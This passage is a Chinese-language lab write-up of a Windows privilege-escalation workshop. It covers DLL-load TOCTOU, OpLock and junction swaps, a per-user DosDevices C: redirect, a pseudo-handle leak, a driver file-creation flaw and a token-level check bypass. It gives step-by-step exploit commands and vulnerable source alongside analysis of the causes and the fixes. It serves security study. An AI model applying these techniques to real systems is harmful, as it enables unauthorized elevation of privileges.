通过分析上面的源码,如果我们可以在 VerifyEmbeddedSignature() 调用时利用符号链接指向系统文件 verified.dll,但是在调用 LoadLibrary 时再修改指向我们可控的文件 evil.dll,那就可以成功了,如果在验证签名之后有机制可以回调通知我们,那就可以精确获得符号链接的替换时机。

File/Directory Change Notify(文件变动通知)

当文件名/目录/文件大小/属性/安全属性 发生变动时,可以通过 WaitForMultipleObjects 获得通知

参考 MSDN: FindFirstChangeNotification

这个的问题在于,通知只会在文件变动的时候触发,而 WinVerifyTrust 并不会触发。

TOCTOU 不只是抢时间

上面我一直从’抢时间’的角度来找方法,但是在 WinVerifyTrust() 之后到 LoadLibrary 的时间差很短,上面提到的 Access Callback 也没有找到,所以这个方法比较困难。

回去看了一下 James Forshaw 给的文档,他的利用方法很有意思,他利用的是系统 API WinVerifyTrust 和 LoadLibrary 处理文件名时的差异。

WinVerifyTrust() 接受的就是用户提供的路径,不会做任何处理,而 LoadLibrary 不一样,如果用户指定的路径不是以 dll 结尾,LoadLibrary 会尝试 ‘补’上一个 “.dll”。发现这个差异,利用方法也就有了。

注意 MSDN LoadLibrary 中的这段文档,如果路径不是以 “.dll” 结尾,自动追加上 “.dll”。另外,如果不希望 LoadLibrary 自动追加 “.dll”,那在提供的路径后面追加一个 “.”,这个特性说不定什么时候也能被利用。

1
If the string specifies a module name without a path and the file name extension is omitted, the function appends the default library extension .dll to the module name. To prevent the function from appending .dll to the module name, include a trailing point character (.) in the module name string.

利用方法

既然有了 LoadLibrary 这个比较 “周到” 的特性,那利用方法也就有了。

拷贝携带有效签名的 kernel32.dll 至我们的文件夹 c:\workshop\test\,重命名为 abc,即 c:\workshop\test\abc

1
2
c:\workshop\ExploitTools>CopyFile.exe c:\Windows\System32\kernel32.dll c:\workshop\test\abc
Copied c:\Windows\System32\kernel32.dll to c:\workshop\test\abc

拷贝我们的 evil.dll 至 c:\workshop\test\,重命名为 abc.dll,即 c:\workshop\test\abc.dll

1
2
c:\workshop\ExploitTools>CopyFile.exe c:\workshop\ExploitTools\TestDll32.dll c:\workshop\test\abc.dll
Copied c:\workshop\ExploitTools\TestDll32.dll to c:\workshop\test\abc.dll

DemoClient.exe 输入 c:\workshop\test\abc

1
2
3
4
5
6
7
8
9
10
11
[RPC Tests]
1 - Test Create Process
2 - Test Load Library
3 - Test Load Library with Path Check
4 - Test Load Library TOCTOU
5 - Test Load Library TOCTOU Hardened
6 - Duplicate handle
0 - Exit Menu
Specify operation number: 4

Specify library name: c:\workshop\test\abc

RpcServer 弹框提示成功

1
2
3
4
Hello From Process 1712
Integrity: High
UIAccess: false
Elevated: true

这个 Case 是上一个的加强版,再次输入上面的 c:\workshop\test\abc,RpcServer 端提示错误:

1
2
Extension is:
Invalid DLL extension

看来是添加了对扩展名的检查

8.1 源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
extern "C" boolean TestLoadLibraryTocTouHardened(handle_t hBinding, const wchar_t* lib_path)
{
LPWSTR ext = PathFindExtensionW(lib_path);
printf("Extension is: %ls\n", ext);
if (ext == nullptr || _wcsicmp(ext, L".dll") != 0)
{
printf("Invalid DLL extension %ls\n", ext);
return false;
}

// Lock DLL file over calls.
ScopedHandle handle(CreateFile(lib_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_DELETE, nullptr, OPEN_EXISTING, 0, nullptr));
if (handle.IsInvalid())
{
printf("Error opening dll file: %ls\n", GetErrorMessage(GetLastError()).c_str());
return false;
}

if (!CheckFileIsInSystem(handle))
{
printf("File not in system directory\n");
return false;
}

HMODULE hModule = LoadLibrary(lib_path);
if (hModule != nullptr)
{
printf("Loaded module: %p\n", hModule);
FreeLibrary(hModule);
return true;
}
else
{
printf("Error loading module: %ls\n", GetErrorMessage(GetLastError()).c_str());
}

return false;
}


bool CheckFileIsInSystem(const ScopedHandle& handle)
{
WCHAR path[MAX_PATH];
if (GetFinalPathNameByHandleW(handle.Get(), path, MAX_PATH, 0) == 0)
{
printf("Error checking executable file path: %ls\n", GetErrorMessage(GetLastError()).c_str());
return false;
}

printf("Referenced File is %ls\n", path);
PathRemoveFileSpec(path);
printf("Directory is %ls\n", path);

std::wstring system = GetPathFromEnv(IsWow64() ? FOLDERID_SystemX86 : FOLDERID_System);
system = L"\\\\?\\" + system;
return _wcsicmp(path, system.c_str()) == 0;
}

源码中除了有后缀名 “.dll” 的检查,还有对文件路径 “C:\Windows\System32” 的检查

8.2 为什么要 CreateFile 后检查 handle

CreateFile 之后再通过 handle 进一步检查,可以保证 CheckFileIsInSystem 中访问的文件与 CreateFile 中的参数是同一个文件。

8.3 符号链接与文件替换

这个 Case 利用的利用方法是,使最终 LoadLibrary 的文件与前面检查的不是一个文件。利用到的技术有两个:OpLock 机会锁与符号连接。

创建指向 c:\Windows\System32 的符号链接

1
c:\workshop\ExploitTools>mklink /J c:\workshop\test c:\windows\system32

启动对目标文件的 OpLock,监控文件的读写行为,发生读写行为时会触发阻塞式的回调

1
c:\workshop\ExploitTools>start ..\symboliclink-testing-tools\SetOpLock.exe c:\Windows\System32\tapi32.dll x

在 DemoClient 中输入 tapi32.dll 的新路径(也可以为其他文件名,要求 system32 目录下存在)

1
2
3
4
5
6
7
8
9
10
11
[RPC Tests]
1 - Test Create Process
2 - Test Load Library
3 - Test Load Library with Path Check
4 - Test Load Library TOCTOU
5 - Test Load Library TOCTOU Hardened
6 - Duplicate handle
0 - Exit Menu
Specify operation number: 5

Specify library name: c:\workshop\test\tapi32.dll

此时 RpcServer 中的 CreateFile 会触发 SetOpLock.exe 的监控,由于 RpcServer 中只有一次文件打开动作,后面都是通过 handle 来处理,所以处理的是 c:\windows\system32\tapi32.dll 的 handle。所以此时我们替换了 test 文件夹的符号链接目标,不再链接至 c:\Windows\System32。删除旧 test 文件夹,新建 test 文件夹,并且在其中拷贝一份我们的 evil.dll(修改文件名为 tapi32.dll)。

1
2
3
c:\workshop\ExploitTools> rmdir c:\workshop\test
c:\workshop\ExploitTools> mkdir c:\workshop\test
c:\workshop\ExploitTools> CopyFile.exe TestDll32.dll c:\workshop\test\tapi32.dll

在 SetOpLock.exe 标准输入中,输入回车。

成功弹框提权后的 Hello 问候。

8.4 OpLock

OpLock 是冲突锁,当出现对文件操作的冲突时,就会触发 OpLock。

OpLock 本身是用于缓存文件加速网络访问效率而实现的。客户端程序通过 DeviceIoControl 与内核中的 OpLock 驱动模块交互。

客户端应用可以利用这个特性实现对文件的监控,尤其是 Io Code 为 FSCTL_REQUEST_OPLOCK_LEVEL_1 时。

参考 MSDN FSCTL_REQUEST_OPLOCK_LEVEL_1

在本例中,客户端对 tapi32.dll 注册 OpLock 时,服务端 CreateFile 时就会阻塞,此时客户端得到通知,替换 test 目录,不再指向 c:\windows\system32,然后继续执行。

服务端得到 c:\windows\system32\tapi32.dll 的 handle,所以后面判断路径时有效。而 LoadLibrary 时再次使用的 lib_path,但 lib_path 保存的是 c:\workshop\test\tapi32.dll,加载的是我们自己的 Evil.dll。

想到一个与本 Case 无关的问题,CreateFile 成功获得文件 handle 之后,文件能被删除吗?

如果 CreateFile 时指定的 dwShareMode 包含 FILE_SHARE_DELETE,那其他进程就可以删除此文件,只不过删除之后,通过当前 handle 对文件的读写操作就会返回失败。

8.5 DEMO 7 TOCTOU on Name 有了新解

利用 OpLock 机制,Demo 7 的 TOCTOU Case 也有了新的解法。

  • 在 c:\workshop\test 符号链接指向 c:\windows\system32,然后对 c:\windows\system32\kernel32.dll 设置 OpLock
  • 在 DemoClient 输入 c:\workshop\test\kernel32.dll,由于实际指向的时 c:\windows\system\kernel32.dll,所以签名验证通过。
  • 触发 SetOpLock.exe 锁,删除 c:\workshop\test,新建 c:\workshop\test,拷贝 c:\workshop\ExploitTools\TestDll32.dll 为 c:\workshop\test\kernel32.dll
  • SetOpLock.exe 回车,释放锁。
  • 成功弹框提权后的 Hello 问候。

9 DEMO 9 : DosDevices Redirect

9.1 服务端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
extern "C" boolean TestCreateProcess(
handle_t hBinding)
{
printf("TestCreateProcess called\n");
RPC_STATUS status = RpcImpersonateClient(hBinding);
if (status == 0)
{
STARTUPINFO startInfo = { 0 };
PROCESS_INFORMATION procInfo = { 0 };

startInfo.cb = sizeof(startInfo);
WCHAR cmdline[] = L"c:\\windows\\notepad.exe";

if (CreateProcess(cmdline, cmdline, nullptr, nullptr,
FALSE, 0, nullptr, nullptr, &startInfo, &procInfo))
{
printf("Created Process: %d\n", procInfo.dwProcessId);
CloseHandle(procInfo.hThread);
CloseHandle(procInfo.hProcess);
RpcRevertToSelf();
return true;
}
else
{
printf("Error creating process: %d\n", GetLastError());
RpcRevertToSelf();
}
}
else
{
printf("Error impersonating user: %d\n", status);
}
return false;
}

上面代码中,服务端模拟 ALPC 客户端的身份,启动了 notepad.exe 进程。

我们的目标就是绕过限制,启动自己的进程,甚至是启动高权限进程。

9.2 RpcImpersonateClient 与 CreateProcess

RpcImpersonateClient 可以为当前线程创建一个 Impersonation 的身份,使当前服务端线程拥有客户端的 impersonation token,之后当前线程在调用某些 API 时就会以 impersonation token 身份验证权限。

CreateProcess 用于创建新进程,如果一个具有 impersonation token 的进程调用 CreateProcess 时,新进程会继承哪个 Token 呢? server primary token 还是 impersonation token?

可惜,是 server primary token。不过系统也提供了用于指定用户的 CreateProcess 版本 - CreateProcessAsUser。CreateProcessAsUser 可以通过指定 Token,代表用某个用户的身份创建进程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
BOOL WINAPI CreateProcessAsUser(
_In_opt_ HANDLE hToken,
_In_opt_ LPCTSTR lpApplicationName,
_Inout_opt_ LPTSTR lpCommandLine,
_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ BOOL bInheritHandles,
_In_ DWORD dwCreationFlags,
_In_opt_ LPVOID lpEnvironment,
_In_opt_ LPCTSTR lpCurrentDirectory,
_In_ LPSTARTUPINFO lpStartupInfo,
_Out_ LPPROCESS_INFORMATION lpProcessInformation
);

所以 RpcImpersonateClient 应该和 CreateProcessAsUser 配套使用,如果和 CreateProcess 一起使用,就容易出现身份不一致的问题。

在本 Case 中,正好可以验证一下,管理员权限打开 Sysinternals 工具集中的 Process Explorer,重复本 Case 中的测试过程,管理员权限打开 RpcServer.exe,普通用户权限打开 DemoClient->Rpc Client Test->ALPC->Test Create Process。

在 Process Explorer 选择展示 Intergrity Level 和 User 列,然后对比 RpcServer、DemoClient、notepad,发现 notepad 进程的启动用户和 Integrity Level 与 RpcServer 完全一致,Intergrity Level 均为 High,而 DemoClient 的 Intergrity Level 为 Medium。

参考:

有了这个问题,看来权限问题就不用解决了,剩下的就看如何来让 CreateProcess 创建的是我们可控的程序,直接替换 c:\system32\notepad.exe 文件肯定是不行的,权限不够,与 Impersonation 结合呢?

??\ 与 \GLOBAL??\

对象管理器中,\DosDevices 下面保存着驱动创建的有名字的设备对象(方便暴露给用户态?)。为了隔离不同的用户会话,对象管理器对其中的 \DosDevices、\Windows、\BaseNamedObjects 隔离实例化,有一份全局的,然后每个用户也可以有一份属于自己的,并且自己的那份会 shadow 掉全局的,所以对这几个命名空间的修改只会影响自己。

\GLOBAL??\ 是指向全局 \DosDevices 的符号链接,\DosDevices 命名空间下保存着如 C:、COM1 等设备的符号链接,这些符号链接指向 \Devices 命名空间中的真实设备

??\ 比较特殊,它是个前缀,不是实际的命名空间。当对象管理器发现应用传递的路径以 ?? 为前缀时就会进入到查找私有 \DosDevices 命名空间的流程,首先从进程 EPROCESS 的 DeviceMap 开始,DeviceMap 的 DosDevicesDirectory 指向进程私有的 \DosDevices 命名空间,如果在这个私有 \DosDevices 没找到我们的目标对象,就会继续根据 DeviceMap 的 GlobalDosDevicesDirectory 查找,GlobalDosDevicesDirectory 总是指向 \GLOBAL??\

参考: [Windows Internals 7th Edition 第三章 Seesion Namespace 小结]

利用 ??\ 创建假 c:\windows\

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// 创建假的 windows 目录
c:\workshop\symboliclink-testing-tools>mkdir c:\demo9\windows

// 拷贝希望被执行的 evil 程序,注意名字需要为 notepad.exe
c:\workshop\symboliclink-testing-tools>C:\workshop\ExploitTools\CopyFile C:\workshop\ExploitTools\DummyExe.exe c:\demo9\windows\notepad.exe

// 启动管理员权限的 RpcServer.exe 和普通权限的 DemoClient.exe
// 命令略

// 关键一步,创建对象管理器中的符号链接,使私有 \DosDevices 中 c: 设备,指向 \GLOBAL??\C:\demo9,执行之后 c:\windows 就会指向以前的 C:\demo9\windows,而 c:\ 会发现只有 notepad.exe 和 windows。

c:\workshop\symboliclink-testing-tools>CreateNativeSymlink.exe \??\C: \GLOBAL??\C:\demo9
Opened Link \??\C: -> \GLOBAL??\C:\demo9: 00000070
Press ENTER to exit and delete the symlink


// DemoClient.exe 开始测试创建进程
[RPC Tests]
1 - Test Create Process
2 - Test Load Library
3 - Test Load Library with Path Check
4 - Test Load Library TOCTOU
5 - Test Load Library TOCTOU Hardened
6 - Duplicate handle
0 - Exit Menu
Specify operation number: 1

* 成功弹框提权后的 Hello 问候,High Integrity Level。

本例中,没有执行实验文档中的 CreateMountPoint,发现仍然成功了,猜测教程中执行 CreateMountPoint 的原因是:我们的 c:\demo9\windows 假目录下没有 system32,可能会影响某些程序的执行。所以用 CreateMountPoint 提前创建挂载点,保证 system32 的正常文件访问,某些程序的依赖 dll 能够正常加载。

根据我以 calc.exe 实际测试,发现即便创建了挂载点也不能弹出计算器,会提示并行配置错误,这个暂时不深究了。

如果创建了 MountPoint,如何删除?

1
c:\workshop\symboliclink-testing-tools>DeleteMountPoint.exe c:\demo9\Windows\system32

测试了一下,会失败,而且 Last Error Message 为空,猜测原因是:创建 ??\C:\windows 符号链接时,??\C: 已经是符号链接了,所以不允许为符号链接创建子级符号链接。

看了一下源码,CreateNativeSymlink 是调用 NtCreateSymbolicLinkObject,是在 Object Manager 中创建符号链接。

10 DEMO 10 : Handle Duplication

试着运行了一下 DemoClient 的对应测试项,没有看懂是怎么回事儿,还是根据源码看看目标是什么吧

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// RpcServer.cpp
extern "C" int TestDuplicateHandle(handle_t hBinding, int handle)
{
printf("TestDuplicateHandle called\n");
unsigned long pid;
RPC_STATUS status = I_RpcBindingInqLocalClientPID(hBinding, &pid);
if (status != ERROR_SUCCESS)
{
printf("Error getting local PID: %ls\n", GetErrorMessage(status).c_str());
return 0;
}

ScopedHandle process(OpenProcess(PROCESS_DUP_HANDLE, FALSE, pid));
if (process.IsInvalid())
{
printf("Error getting opening process: %ls\n", GetErrorMessage(GetLastError()).c_str());
return 0;
}

HANDLE ret;
if (!DuplicateHandle(process.Get(), (HANDLE)handle, process.Get(), &ret, 0, FALSE, DUPLICATE_SAME_ACCESS))
{
printf("Error getting duplicating handle: %ls\n", GetErrorMessage(GetLastError()).c_str());
return 0;
}

return (int)ret;
}

运行于 RpcServer 的这段代码的实现功能是:从 Rpc Client 进程复制一个 handle 给 Rpc Client 自己。测试时,客户端可以指定希望复制的 handle 值,我们的目标就是泄露 RpcServer 的 handle。

前面几行是获得 Rpc Client 进程的 Process Handle,后面调用 DuplicateHandle 是实际的 handle 复制动作,基本上唯一可控的就是 handle 值了

pseudo handle(伪 handle)

有两个 handle 属于 pseudo-handle: -1 和 -2,分别是 GetCurrentProcess 和 GetCurrentThread 的返回值。这两个常量 handle 值并不是真正的 handle,而是为了方便程序员对当前进程、当前线程的引用而使用的伪 handle。

GetCurrentThread 返回的 handle 值永远是 -2,kernel32.dll 中反汇编的 GetCurrentThread 的源码

1
2
3
4
5
6
HANDLE __stdcall GetCurrentThread()
public _GetCurrentThread@0
_GetCurrentThread@0 proc near
mov eax, 0FFFFFFFEh
retn
_GetCurrentThread@0 endp

实际上,当前线程的 handle 并不是 -2,实际的 handle 值可以通过调用 KeGetCurrentThread() 获得。

DuplicateHandle 对 GetCurrentProcess 和 GetCurrentThread 区别对待

反汇编分析 DuplicateHandle 的源码,它会调用 ObpReferenceProcessObjectByHandle 先获得客户端传递来的 handle 所引用的对象。

结合 WRK 和 IDA 的反编译结果,简化后 ObpReferenceProcessObjectByHandle 的部分代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
NTSTATUS
ObpReferenceProcessObjectByHandle (
IN HANDLE Handle,
IN PEPROCESS Process,
IN PHANDLE_TABLE HandleTable,
IN KPROCESSOR_MODE AccessMode,
OUT PVOID *Object,
OUT POBJECT_HANDLE_INFORMATION HandleInformation,
OUT PACCESS_MASK AuditMask
)

{
ACCESS_MASK GrantedAccess;
//...

Thread = KeGetCurrentThread ();
*Object = NULL;

//
// Check is this handle is a kernel handle or one of the two builtin pseudo handles
//
if ((LONG)(ULONG_PTR) Handle < 0) {
//
// If the handle is equal to the current process handle and the object
// type is NULL or type process, then attempt to translate a handle to
// the current process. Otherwise, check if the handle is the current
// thread handle.
//

if (Handle == GetCurrentProcess()) {

GrantedAccess = Process->GrantedAccess;

ObjectHeader = OBJECT_TO_OBJECT_HEADER(Process);

HandleInformation->GrantedAccess = GrantedAccess;
HandleInformation->HandleAttributes = 0;

*AuditMask = 0;

ObpIncrPointerCount(ObjectHeader);
*Object = Process;
Status = STATUS_SUCCESS;

return Status;

//
// If the handle is equal to the current thread handle and the object
// type is NULL or type thread, then attempt to translate a handle to
// the current thread. Otherwise, the we'll try and translate the
// handle
//

} else if (Handle == GetCurrentThread()) {

GrantedAccess = Thread->GrantedAccess;

ObjectHeader = OBJECT_TO_OBJECT_HEADER(Thread);

HandleInformation->GrantedAccess = GrantedAccess;
HandleInformation->HandleAttributes = 0;

*AuditMask = 0;

ObpIncrPointerCount(ObjectHeader);
*Object = Thread;

Status = STATUS_SUCCESS;

return Status;

} else if (AccessMode == KernelMode) {
//
// Make the handle look like a regular handle
//

Handle = DecodeKernelHandle( Handle );

//
// The global kernel handle table
//

HandleTable = ObpKernelHandleTable;
} else {
//
// The previous mode was user for this kernel handle value. Reject it here.
//

return STATUS_INVALID_HANDLE;
}

}

// 后面代码略...


}

上面这段代码非常重要,有点需要注意:

  • 当 Handle 为 GetCurrentProcess()(即 -1)时,返回的 Object 为参数 Process 所引用的对象,后面会介绍,这个 Process 是 RpcClient 进程对象。

  • 当 Handle 为 GetCurrentThread()(即 -2)时,返回的 Object 为 KeGetCurrentThread() 返回的当前线程对象,也就是当前的 RpcServer 中的 Calling Thread 对象。

参数 Process 所引用的 Process 对象哪里来的呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
BOOL __stdcall DuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions)
{
//...
v7 = hSourceHandle;
//...
v8 = NtDuplicateObject(
hSourceProcessHandle,
v7,
hTargetProcessHandle,
lpTargetHandle,
dwDesiredAccess,
bInheritHandle != 0 ? 2 : 0,
dwOptions);
if ( v8 >= 0 )
return 1;
BaseSetLastNTError(v8);
return 0;
}

winbase!DuplicateHandle->ntoskrnl!NtDuplicateObject->ntoskrnl!ObDuplicateObject->ntoskrnl!ObpReferenceProcessObjectByHandle

传递给 DuplicateHandle 的 hSourceProcessHandle,在 NtDuplicateObject 中被解引用为进程对象继续向下传递,直到 ObpReferenceProcessObjectByHandle 中作为参数 Process。所以当 Rpc Client 进程传递的 handle 为 -1 时,返回的是 Rpc Client 进程自己的 handle。

漏洞到底出在哪

当 Rpc Client 进程传递 -2 作为 handle 值给 Rpc Server 时,Rpc Server 根据 handle 值 -2 解引用对象,没有考虑 -2 是个伪 handle,-2 代表 Rpc Server 中的当前线程,然后复制该线程句柄给了 Rpc Client,造成了高权限进程线程句柄的泄露,客户端得到这个句柄之后,就可以实现一些越权操作了。

参考

11 DEMO 11 : Privileged Resource Creation

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
NTSTATUS HandleIoControl(PIRP Irp)
{
//...
switch (code)
{
case ControlCreateFile:
return CreateFile(&path, FALSE, FALSE);
case ControlCreateFileSecure:
return CreateFile(&path, TRUE, FALSE);
//...
}
//...
}


NTSTATUS CreateFile(PUNICODE_STRING Path, BOOLEAN Secure, BOOLEAN Directory)
{
OBJECT_ATTRIBUTES obj_attr = { 0 };
HANDLE Handle = NULL;
IO_STATUS_BLOCK io_status = { 0 };
NTSTATUS status = STATUS_SUCCESS;
ULONG CreateOptions = Directory ? FILE_DIRECTORY_FILE : FILE_NON_DIRECTORY_FILE;
ULONG AttributeFlags = OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE;
if (Secure)
{
AttributeFlags |= OBJ_FORCE_ACCESS_CHECK;
}

InitializeObjectAttributes(&obj_attr, Path, AttributeFlags, NULL, NULL);

CHECK_STATUS(ZwCreateFile(&Handle, MAXIMUM_ALLOWED, &obj_attr, &io_status,
NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ | FILE_SHARE_DELETE,
FILE_OPEN_IF, CreateOptions, NULL, 0));

error:
if (Handle)
{
ZwClose(Handle);
}
return status;
}

从源码和标题来看,这个 case 主要是用户态 DemoClient 利用内核创建文件。那能不能创建 DemoClient 本身没有权限创建的文件呢?比如向 c:\windows 目录

内核态 ZwCreateFile 创建文件时如何指定路径

与普通用户态程序调用 CreateFile 创建文件不同的时,ZwCreateFile 要求传入的路径必须是一个包括设备名的全路径。
假如我们要创建文件 c:\windows\helloworld,我们传入 ZwCreateFile 的路径需要是 ??\c:\windows\helloworld 或者 \DosDevices\c:\windows\helloworld,如果是前者,对象管理器会负责转换为后者。(其实传入 \GLOBAL??\c:\windows\helloworld 也可以,这个在 Demo9 中讨论过)

验证向特殊目录写入文件

实际测试下面的过程,可以成功向 c:\windows 和 c:\windows\system32 下会创建文件,然而 DemoClient 本身是没有对这些目录的写权限的。新创建的这两个文件的属主用户为当前进程 DemoClient 的用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[Driver File Tests]
1 - Create File
2 - Create File Secure
3 - Create Dir
4 - Create Dir Secure
0 - Exit Menu
Specify operation number: 1

Specify native path: \??\C:\Windows\abc.txt
[Driver File Tests]
1 - Create File
2 - Create File Secure
3 - Create Dir
4 - Create Dir Secure
0 - Exit Menu
Specify operation number: 1

Specify native path: \??\C:\Windows\system32\abc.txt
[Driver File Tests]
1 - Create File
2 - Create File Secure
3 - Create Dir
4 - Create Dir Secure
0 - Exit Menu

参考:

DemoClient 为什么可以越权写了文件

选择 1 - Create File 测试时,CreateFile 的 secure 参数为 FALSE,所以创建文件 handle 时指定的 OBJECT_ATTRIBUTES.AttributeFlags 没有置位 OBJ_FORCE_ACCESS_CHECK,缺少 OBJ_FORCE_ACCESS_CHECK ZwCreateFile 时内核缺少安全检查,也就没有对 DemoClient 用户态进程权限的验证。

用户态进程和驱动应该如何共享 handle ?

遵循下面几点:

  • 如果不希望用户态进程得到并访问这个 handle,应该置位 OBJECT_ATTRIBUTES.AttributeFlags 为 OBJ_KERNEL_HANDLE。

  • handle 由内核态创建然后传递给用户态,尽量不要反过来。从用户态传递过来的 handle,驱动应该认为是不可信的

  • 驱动替用户态进程创建 handle 时,需要置位 OBJ_FORCE_ACCESS_CHECK,以添加必要的安全检查,包括进程权限的检查

  • 与用户态共享的 handle,内核需要使用 ObReferenceObjectByPointer 引入引用计数,防止用户态 close handle 之后驱动再访问引起系统 crash

参考 MSDN Object Handles

12 DEMO 12 : Admin Token Check Bypass

验证

打开 Sysinternals 的 DebugView.exe 工具,标题栏勾选 [Capture]->[Capture Kernel],抓取驱动的调试日志

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[Driver Token Tests]
1 - Check Token Elevated
2 - Check Token Elevated Secure
3 - Bad Impersonation
0 - Exit Menu
Specify operation number: 1

Impersonate Admin Token? (Y/N): n
[Driver Token Tests]
1 - Check Token Elevated
2 - Check Token Elevated Secure
3 - Bad Impersonation
0 - Exit Menu

[Driver Token Tests]
1 - Check Token Elevated
2 - Check Token Elevated Secure
3 - Bad Impersonation
0 - Exit Menu
Specify operation number: 1

Impersonate Admin Token? (Y/N): y
[Driver Token Tests]
1 - Check Token Elevated
2 - Check Token Elevated Secure
3 - Bad Impersonation
0 - Exit Menu

DebugView 看到的调试日志分别为:

1
2
IsCallerElevated: ImpersonationLevel: None
IsCallerElevated: ImpersonationLevel: Identification

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
// 驱动代码
NTSTATUS IsCallerElevated(BOOLEAN secure)
{
SECURITY_SUBJECT_CONTEXT subject_context = { 0 };
NTSTATUS status = STATUS_ACCESS_DENIED;
SeCaptureSubjectContext(&subject_context);
PACCESS_TOKEN token = SeQuerySubjectContextToken(&subject_context);

DBGPRINT("ImpersonationLevel: %ls\r\n", subject_context.ClientToken
? GetTokenImpersonationLevel(subject_context.ClientToken) : L"None");

if (secure)
{
if (subject_context.ClientToken && subject_context.ImpersonationLevel < SecurityImpersonation)
{
status = STATUS_BAD_IMPERSONATION_LEVEL;
goto error;
}
}

status = GetTokenElevated(token) ? STATUS_SUCCESS : STATUS_ACCESS_DENIED;
error:
SeReleaseSubjectContext(&subject_context);
return status;
}

BOOLEAN GetTokenElevated(PACCESS_TOKEN Token)
{
PTOKEN_ELEVATION Elevation = NULL;
BOOLEAN ret = FALSE;
if (NT_SUCCESS(SeQueryInformationToken(Token, TokenElevation, &Elevation)))
{
ret = !!Elevation->TokenIsElevated;
ExFreePool(Elevation);
}
return ret;
}

// 客户端代码
void RunTestCallerToken(HANDLE handle, ControlCode code)
{
wstring option = GetArgument("Impersonate Admin Token (Y/N)");
if (option.size() > 0)
{
bool impersonate = tolower(option[0]) == 'y';

if (impersonate)
{
ScopedHandle proc_token;
if (!OpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, proc_token.Ptr()))
{
PrintError("Couldn't open process token", GetLastError());
return;
}

ScopedHandle imp_token;
DWORD return_length = 0;
if (!GetTokenInformation(proc_token.Get(), TokenLinkedToken, imp_token.Ptr(), sizeof(HANDLE), &return_length))
{
PrintError("Couldn't get linked token", GetLastError());
return;
}

if (!ImpersonateLoggedOnUser(imp_token.Get()))
{
PrintError("Couldn't impersonate token", GetLastError());
return;
}
}

DWORD bytes_returned;
BOOL result = DeviceIoControl(handle, MAKE_IOCTL(code),
nullptr, 0, nullptr, 0, &bytes_returned, nullptr);

if (impersonate)
{
RevertToSelf();
}

if (!result)
{
PrintError("Error issuing device control", GetLastError());
}
}
}

UAC 与 TokenLinkedToken

当某个用户隶属于 Administrator 组时,用户启动的进程 token 中会嵌入 Administrator Token,只不过当 UAC 启用时,这个 token 不生效。尽管不生效,我们却可以通过 API GetTokenInformation() 获得这个 Administrator token,调用时 class 设定为 TokenLinkedToken。

既然可以得到 Administrator token,那不是可以直接调用 CreateProcessAsUser() 以 Administrator 身份创建进程了?

不是,还有 Impersonation Level,进程如果没有 SeTcbPrivilege,那 GetTokenInformation() 得到的 Administrator token 的 level 不是 SecurityImpersonation,而是 SecurityIdentification。也就是不能用这个 token 模仿管理员用户的行为,只能根据这个 token 知道 Administrator 有哪些 SID/Privileges。

什么进程会有 SeTcbPrivilege 权限? MSDN 中说底层认证相关的服务有这个权限。

1
Only low-level authentication services should require this privilege.

漏洞出在哪

驱动代码中检查 client 权限时,只检查了 token 的 TokenIsElevated 是否置位,却没有检查 token 的 SECURITY_IMPERSONATION_LEVEL。由于 client 没有 SeTcbPrivilege 权限,所以只得到了一个 SecurityIdentification level 的 Administrator token,是没有权限模拟管理员用户进程的。但驱动没有检查这里,所以返回的状态时成功 STATUS_SUCCESS。

漏洞的修复也比较简单,就是如代码中的 secure 判断分支:

1
2
3
4
5
6
7
8
if (secure)
{
if (subject_context.ClientToken && subject_context.ImpersonationLevel < SecurityImpersonation)
{
status = STATUS_BAD_IMPERSONATION_LEVEL;
goto error;
}
}

impersonation token 和 primary token 如何选择

什么时候使用 impersonation token 认证,什么时候使用 primary token?

下列几种情况时,即便存在 impersonation token,也会使用 primary token:

  • 处于 impersonating 状态的线程调用 CreateProcess 创建进程时,系统使用 primary token,新进程永远继承当前进程的 primary token.
  • 如果某个函数需要 SE_TCB_NAME 权限时,例如 LogonUser(),系统会检查 primary token 中的权限。
  • 如果某个函数需要 SE_AUDIT_NAME 权限时,例如 ObjectOpenAuditAlarm(),系统会检查 primary token 中的权限。
  • 调用 OpenThreadToken() 时,可以选择使用 primary token 或者 impersonation token(通过参数 OpenAsSelf 指定)
1
2
3
4
5
6
7
